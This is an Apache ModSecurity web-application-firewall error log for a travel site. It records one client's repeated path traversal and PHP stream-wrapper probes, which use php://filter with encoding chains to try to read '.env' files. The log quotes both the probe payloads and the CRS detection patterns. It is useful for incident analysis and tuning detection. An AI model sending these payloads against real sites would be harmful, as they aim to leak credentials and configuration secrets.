[Fri Jul 17 08:55:11.728123 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&cb=csvygpsfueyga1pqybzhhbcu2ymceonxqamzmd1x_d8eoneou4yh1nd1ceyfskazrqpy_qycv41jdvkbas83t0685kbenk4wud9m14p7w5wcvydvjky75hvvb9bbrs9q_x11tmcspg0hlwmnpg6mtu-umodaybhwejwazsvmq1zsahnfte1ijcmaz49-pmum6ww4cdj1xxkqvtjtwk8kwz3lwnl-3sy7gjrwehaxd4gpbpqvuqsnhzq13ydha99joclbkszpyiif_sw12j3-vdch&sid=z3n6icu2gbhhsbf2x2jgcdhxp2vi4kj3d7577c7f74xjq5bymcasne6utqpjlejo2kdsyessv5ox4r4kp5odjvfvuqg2quedf7khjyd6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.728142 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sJQAAABQ"]
[Fri Jul 17 08:55:11.728154 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.728181 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.728269 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.728474 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.729264 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.729367 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.729643 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MOQAAAAc"]
[Fri Jul 17 08:55:11.736819 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.736993 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.737363 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSdwAAAB4"]
[Fri Jul 17 08:55:11.740927 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSwAAAAY"]
[Fri Jul 17 08:55:11.741972 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSwAAAAY"]
[Fri Jul 17 08:55:11.742103 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.742116 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&cb=uttrMW_ZH6I0EpWXmuytRhp2Ose_AVPiYWQf6AbopW2zrqF0XhS-KiL1lBqSMxhlKSEnItkNsjxkLFMg61AHBPuVqMpzYmBS9U4Wc7VF2DOEXZ_eW4bFe6iFtKsDpsWoGVFraKDVqZLpkD5GHqsecM8N2SbEZYa-LHIUHm2XKlTkSWLk6Lu9I2m-hx2EYV-lntpJnyfQ-26uLMTqAZerIdrmoVjx6WuTWj8MN0UVpDVe_JCoy1gGI0beGxFub5DATDa2pO8HZ4wTSPG8TxCIP3mP&ref=WALDRI4KBUJBTWR53LCG4RLNWWGIMQDBH2DKUWEW5QL6LSO3ZICPWT274S3QU5DM4N4T77GXVPO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.742153 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.742220 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&cb=uttrMW_ZH6I0EpWXmuytRhp2Ose_AVPiYWQf6AbopW2zrqF0XhS-KiL1lBqSMxhlKSEnItkNsjxkLFMg61AHBPuVqMpzYmBS9U4Wc7VF2DOEXZ_eW4bFe6iFtKsDpsWoGVFraKDVqZLpkD5GHqsecM8N2SbEZYa-LHIUHm2XKlTkSWLk6Lu9I2m-hx2EYV-lntpJnyfQ-26uLMTqAZerIdrmoVjx6WuTWj8MN0UVpDVe_JCoy1gGI0beGxFub5DATDa2pO8HZ4wTSPG8TxCIP3mP&ref=WALDRI4KBUJBTWR53LCG4RLNWWGIMQDBH2DKUWEW5QL6LSO3ZICPWT274S3QU5DM4N4T77GXVPOR664S2GQVM6OT57ZCKIJZFINU3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.742263 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&cb=uttrmw_zh6i0epwxmuytrhp2ose_avpiywqf6abopw2zrqf0xhs-kil1lbqsmxhlksenitknsjxklfmg61ahbpuvqmpzymbs9u4wc7vf2doexz_ew4bfe6iftksdpswogvfrakdvqzlpkd5ghqsecm8n2sbezya-lhiuhm2xkltkswlk6lu9i2m-hx2eyv-lntpjnyfq-26ulmtqazeridrmovjx6wutwj8mn0uvpdve_jcoy1ggi0begxfub5datda2po8hz4wtspg8txcip3mp&ref=waldri4kbujbtwr53lcg4rlnwwgimqdbh2dkuwew5ql6lso3zicpwt274s3qu5dm4n4t77gxvpor664s2gqvm6ot57zckijzfinu3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.742292 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.742311 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.742379 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBSwAAAAY"]
[Fri Jul 17 08:55:11.742643 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.743666 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.743796 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.744074 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l950AAAAAw"]
[Fri Jul 17 08:55:11.751262 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PogAAABk"]
[Fri Jul 17 08:55:11.752378 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PogAAABk"]
[Fri Jul 17 08:55:11.752541 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.752891 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PogAAABk"]
[Fri Jul 17 08:55:11.756827 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&show=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=8DEpXVbiHBLQub6y01aGfr_QohlTsWbV1wSgJGvLIKFyCfuv76RyKCWyRPWz6YLyEg2sIb00ZM4xZ1VVxOBK4uUqsK5m0fr4pbwY-QNkWZ2VS1apUoysqlq9xFAjHgClY9v19IA_kG8ONiln3NCAR5WX1QKH_vhgzejWALVlQnZ9c30PWpJecCh9jafSo2eqHuqGy7uSbrA4Rhmo8HDJWPkBaM5ukC8X3CBl9w1H19HpQPhgUW9ZDM8h46KxcTiEqLPaUNLNQ3B-TKh2dDeCMVMQ&ref=3YULT2DLJAIRIWRGSW2TMQGVLPKJ7WPEDD4O67SBGHPCYVVG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
[Fri Jul 17 08:55:11.756880 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcAAAAAU"]
